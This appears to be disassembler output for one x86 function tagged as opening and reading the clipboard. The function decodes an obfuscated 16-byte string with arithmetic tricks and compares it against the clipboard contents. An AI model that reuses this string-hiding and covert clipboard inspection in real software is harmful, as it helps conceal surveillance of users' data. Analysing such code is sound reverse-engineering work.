Function at 0x42ed20
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x40
mov esi, esp
call fcn.00409270
push eax
mov ecx, esp
push eax
mov eax, esp
push eax
mov edi, esp
push eax
mov dword [esi + 0x14], esp
push eax
mov dword [esi + 0x10], esp
push eax
mov dword [esi + 0xc], esp
sub esp, 0x10
mov ebx, esp
and ebx, 0xfffffff8
mov esp, ebx
push eax
mov dword [esi + 0x2c], esp
mov dword [esi + 0x30], ecx
mov edx, dword [ebp + 8]
mov dword [ecx], edx
mov dword [esi + 0x18], eax
mov byte [eax], 0
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, 0
setne al
test al, 1
jne 0x42ed85
jmp 0x42ef09
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [edi], eax
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, dword [esi + 0x14]
mov dword [edi], eax
cmp dword [edi], 0
je 0x42ef01
mov eax, dword [edi]
jmp 0x42edc3
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esi + 0x10]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.00408d70
add esp, 4
jmp 0x42ede6
jmp 0x42ede8
mov ecx, dword [esi + 0xc]
mov dword [ecx], eax
mov eax, dword [ecx]
cmp eax, 0
setne al
jmp 0x42edf7
jmp 0x42edf9
test al, 1
jne 0x42ee02
jmp 0x42eeeb
call fcn.00409270
mov eax, dword [esi + 0x30]
mov ecx, dword [eax]
mov eax, dword [esi + 0xc]
mov edx, dword [eax]
mov eax, dword [esi + 0x10]
mov eax, dword [eax]
mov dword [esi + 0x20], eax
mov eax, dword [esi + 0x2c]
mov al, byte [eax]
mov byte [esi + 8], al
mov byte [ebx], 3
mov byte [ebx + 1], 0x6d
mov byte [ebx + 2], 0x6b
mov byte [ebx + 3], 0x73
mov byte [ebx + 4], 0x66
mov byte [ebx + 5], 0x6a
mov byte [ebx + 6], 0x67
mov byte [ebx + 7], 0x75
mov byte [ebx + 8], 0x6c
mov byte [ebx + 9], 0x27
mov byte [ebx + 0xa], 0x7e
mov byte [ebx + 0xb], 0x73
mov byte [ebx + 0xc], pe_nt_image_headers32
mov byte [ebx + 0xd], 0xcd
mov word [ebx + 0xe], 0
mov dword [esi + 4], 0
mov eax, dword [esi + 4]
cmp eax, 0x10
jae 0x42eec8
mov dword [esi + 0x24], ecx
mov dword [esi + 0x28], edx
jmp 0x42ee75
mov edx, dword [esi + 4]
mov dword [esi + 0x1c], edx
mov eax, dword [esi + 4]
movzx ecx, byte [ebx + eax]
add edx, 0xf5d7520
mov eax, ecx
not eax
mov edi, edx
or edi, eax
and edx, ecx
add edi, edx
neg edi
mov eax, dword [esi + 0x1c]
lea eax, [eax + edi + 0xf5d751f]
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x34]
add al, 0x20
mov ecx, dword [esi + 4]
mov byte [ebx + ecx], al
mov eax, dword [esi + 4]
inc eax
mov dword [esi + 4], eax
mov eax, dword [esi + 4]
cmp eax, 0x10
jb 0x42ee75
mov edi, dword [esi + 0x14]
mov edx, dword [esi + 0x28]
mov ecx, dword [esi + 0x24]
jmp 0x42eec8
jmp 0x42eeca
sub esp, 0xc
mov dword [esp], ebx
mov eax, dword [esi + 0x20]
mov dword [esp + 4], eax
mov dword [esp + 8], edx
call fcn.00409480
and al, 1
mov ecx, dword [esi + 0x18]
mov byte [ecx], al
jmp 0x42eee9
jmp 0x42eeeb
jmp 0x42eeed
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x42eefd
jmp 0x42eeff
jmp 0x42ef01
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x42ef09
mov eax, dword [esi + 0x18]
mov al, byte [eax]
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret